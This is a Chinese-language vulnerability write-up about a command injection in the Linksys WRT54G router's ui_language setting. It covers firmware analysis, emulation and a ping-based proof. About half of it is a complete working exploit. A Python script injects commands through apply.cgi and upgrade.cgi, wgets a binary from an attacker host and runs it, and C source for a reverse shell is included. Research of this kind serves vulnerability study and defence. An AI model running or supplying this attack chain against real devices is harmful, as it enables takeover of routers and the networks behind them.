linksys WRT54G命令注入

IoT 2年前 (2022) admin
871 0 0

linksys WRT54G命令注入

漏洞描述&链接

在路由器登录后设置前端显示语言时存在过滤不严格,将恶意命令存入内存,导致在升级固件时造成命令注入漏洞

固件地址:https://www.linksys.com/us/support-article?articleNum=148648

firmeye:https://github.com/firmianay/firmeye

漏洞分析

binwalk解包固件之后得到文件系统
linksys WRT54G命令注入
查找web服务器

  1. find ./ -name "*http*"
  2. grep -r "cgi

分析得到该路由器cgi功能是融合在httpd也就是web服务器文件中
linksys WRT54G命令注入

将httpd拖进IDA,查找危险函数,首先查看system

linksys WRT54G命令注入
有一处调用可能存在命令注入,直接拼接没有过滤,随后system()执行拼接后的结果,v6是nvram_get获取的ui_language值,是前端ui显示语言,这里的函数顾名思义是路由器更新功能,
linksys WRT54G命令注入
ps:NVRAM是非易失性随机访问存储器,是指断电后仍能保持数据的 一种RAM。在嵌入式系统领域内, 可以直接理解成板子上的FLASH 芯片,里面保存着代码数据,用 户配置数据等,如 UBOOT,kernel,rootfs,user data。数据多以key/value形式储存。

在IDA搜索字符串ui_language,查看调用是由device_get_string_value()获取,没有经过过滤,猜测前端获取ui_language值同样没有过滤
linksys WRT54G命令注入

漏洞复现

使用FirmAE模拟固件,成功模拟
linksys WRT54G命令注入

使用admin/admin登录,设置ui显示语言,抓包,将ui_language修改为;+ping命令,需要url编码,放包后发现界面显示已损坏,说明这里

NVRAM已经成功存储ping命令
linksys WRT54G命令注入
linksys WRT54G命令注入

wireshark监听192.168.1.2,设置协议为icmp,因为前面存在漏洞的函数为升级功能,所以升级固件,创建一个扩展名为bin的文件,升级固件,由于存在前端校验,使用burp抓包绕过,然后放掉所有固件升级的包

ps:这里需要注意,在注入ping命令后,路由器页面已损坏,所以在验证时,需要提前打开两个页面,一个正常页面,另一个需要提前打开到固件升级页面

linksys WRT54G命令注入

wireshark监听到icmp的包,来自路由器ping我的主机,命令执行成功
linksys WRT54G命令注入

GETSHELL

路由器没有telnetd,sshd等,查看路由器架构为MIPS小端,植入一个相应架构的二进制后门,这里使用buildroot编译
linksys WRT54G命令注入

执行exp,得到反弹shell
linksys WRT54G命令注入

exp

exploit.py

  1. import argparse
  2. from dataclasses import dataclass
  3. from typing import Tuple
  4. import requests
  5. import router_requests
  6. @dataclass
  7. class Router:
  8. host: str
  9. creds: Tuple[str, str]
  10. DEFAULT_LANG = 'en'
  11. REVSHELL_REMOTE_PATH = '/tmp/X'
  12. PING_LOG_REMOTE_PATH = '/tmp/ping.log'
  13. def exploit(self, attacker_host: str, attacker_handler_port: int, attacker_http_port: int):
  14. print(f'[*] Exploiting Linksys WRT54G @ {self.host}')
  15. self._upload_revshell(attacker_host, attacker_http_port)
  16. self._chmod_revshell_executable()
  17. self._run_revshell(attacker_host, attacker_handler_port)
  18. self._set_ui_language(self.DEFAULT_LANG)
  19. def _upload_revshell(self, attacker_host: str, attacker_http_port: int):
  20. print('[*] Uploading reverse shell executable.')
  21. self._run_shell_cmd(
  22. f'wget http://{attacker_host}:{attacker_http_port}/revshell -O{self.REVSHELL_REMOTE_PATH}')
  23. def _chmod_revshell_executable(self):
  24. print('[*] Making the reverse shell executable.')
  25. self._run_shell_cmd(f'chmod +x {self.REVSHELL_REMOTE_PATH}')
  26. def _run_revshell(self, attacker_host: str, attacker_handler_port: int):
  27. print('[*] Running the reverse shell!')
  28. self._run_shell_cmd(f'{self.REVSHELL_REMOTE_PATH} {attacker_host} {attacker_handler_port}')
  29. print('[*] Reverse shell exited!')
  30. def _run_shell_cmd(self, cmd: str, with_output: bool = False):
  31. cmd = f';{cmd}>{self.PING_LOG_REMOTE_PATH} 2>&1;' if with_output else f';{cmd};'
  32. print(f'[*] Running: {cmd}')
  33. self._set_ui_language(cmd)
  34. self._upgrade_firmware()
  35. def _set_ui_language(self, ui_language: str):
  36. req_query = router_requests.get_ui_language_query(ui_language)
  37. req = requests.post(f'http://{self.host}/apply.cgi', data=req_query, auth=self.creds)
  38. if not req.ok:
  39. raise ValueError(f'Failed to change ui_language. Request: {req}')
  40. def _upgrade_firmware(self):
  41. print(f'[*] Issuing a firmware upgrade.')
  42. req_query = router_requests.get_upgrade_query()
  43. req = requests.post(f'http://{self.host}/upgrade.cgi', data=req_query, auth=self.creds)
  44. if not req.ok:
  45. raise ValueError(f'Failed to issue a firmware upgrade. Request: {req}')
  46. def main():
  47. parser = argparse.ArgumentParser(description='LinkSYS WRT54G Exploitation.',
  48. formatter_class=argparse.ArgumentDefaultsHelpFormatter)
  49. parser.add_argument('--host', required=True, help='Host of the router.')
  50. parser.add_argument('--username', default='admin', help='Router\'s username.')
  51. parser.add_argument('--password', default='admin', help='Router\'s password.')
  52. parser.add_argument('--attacker-host', required=True, help='Attacker\'s host.')
  53. parser.add_argument('--attacker-handler-port', type=int, default=4141, help='Reverse shell TCP handler port.')
  54. parser.add_argument('--attacker-http-port', type=int, default=8000,
  55. help='HTTP server port to serve the reverse shell executable.')
  56. args = parser.parse_args()
  57. router = Router(args.host, (args.username, args.password))
  58. router.exploit(args.attacker_host, args.attacker_handler_port, args.attacker_http_port)
  59. if __name__ == '__main__':
  60. main()

router_requests.py

  1. import ipaddress
  2. def get_ui_language_query(ui_language):
  3. return {
  4. "ui_language": ui_language,
  5. "lan_ipaddr_0": "192",
  6. "lan_ipaddr_1": "169",
  7. "lan_ipaddr_2": "1",
  8. "lan_ipaddr_3": "100",
  9. "lan_netmask": "255.255.255.0",
  10. "submit_button": "index",
  11. "change_action": "gozila_cgi",
  12. "submit_type": "language",
  13. "action": "",
  14. "now_proto": "dhcp",
  15. "daylight_time": "0",
  16. "lan_ipaddr": "4",
  17. "wait_time": "0",
  18. "need_reboot": "0",
  19. "wan_proto": "dhcp",
  20. "router_name": "WRT54G",
  21. "wan_hostname": "",
  22. "wan_domain": "",
  23. "mtu_enable": "0",
  24. "lan_proto": "dhcp",
  25. "dhcp_check": "",
  26. "dhcp_start": "100",
  27. "dhcp_num": "50",
  28. "dhcp_lease": "0",
  29. "wan_dns": "4",
  30. "wan_dns0_0": "0",
  31. "wan_dns0_1": "0",
  32. "wan_dns0_2": "0",
  33. "wan_dns0_3": "0",
  34. "wan_dns1_0": "0",
  35. "wan_dns1_1": "0",
  36. "wan_dns1_2": "0",
  37. "wan_dns1_3": "0",
  38. "wan_dns2_0": "0",
  39. "wan_dns2_1": "0",
  40. "wan_dns2_2": "0",
  41. "wan_dns2_3": "0",
  42. "wan_wins": "4",
  43. "wan_wins_0": "0",
  44. "wan_wins_1": "0",
  45. "wan_wins_2": "0",
  46. "wan_wins_3": "0",
  47. "time_zone": "-08+1+1",
  48. "_daylight_time": "1",
  49. }
  50. def get_upgrade_query():
  51. return {
  52. "file": '; filename="pwned.bin"',
  53. "submit_button": "Upgrade",
  54. "change_action": "",
  55. "action": "",
  56. "process": ""
  57. }
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <stdlib.h>
  4. #include <arpa/inet.h>
  5. int main(int argc, char *argv[])
  6. {
  7. int port, sockt;
  8. struct sockaddr_in revsockaddr;
  9. if (argc != 3)
  10. {
  11. fprintf(stderr, "usage: %s HOST PORT\n", argv[0]);
  12. exit(EXIT_FAILURE);
  13. }
  14. port = atoi(argv[2]);
  15. sockt = socket(AF_INET, SOCK_STREAM, 0);
  16. revsockaddr.sin_family = AF_INET;
  17. revsockaddr.sin_port = htons(port);
  18. revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);
  19. connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
  20. dup2(sockt, 0);
  21. dup2(sockt, 1);
  22. dup2(sockt, 2);
  23. char *const sh_argv[] = {"sh", NULL};
  24. execve("/bin/sh", sh_argv, NULL);
  25. return 0;
  26. }

总结

在手工寻找命令注入漏洞时,可以从两个方向入手。

1、从数据输入点入手,看获取了哪些输入,跟踪输入的信息变量,看最终结果有没有被危险函数如system popen等执行。

2、从危险函数入手,不光要查找system popen等,还需要查找“包装后的”,例如dosystem,dopopen,docmd等等。如果有直接拼接就使用system()等执行的,就需要往上查看输入源,如果可控且过滤不严格,就有可能存在命令注入。

原文始发于IoTsec-Zone(splash):linksys WRT54G命令注入

版权声明:admin 发表于 2022年7月30日 上午8:40。
转载请注明:linksys WRT54G命令注入 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...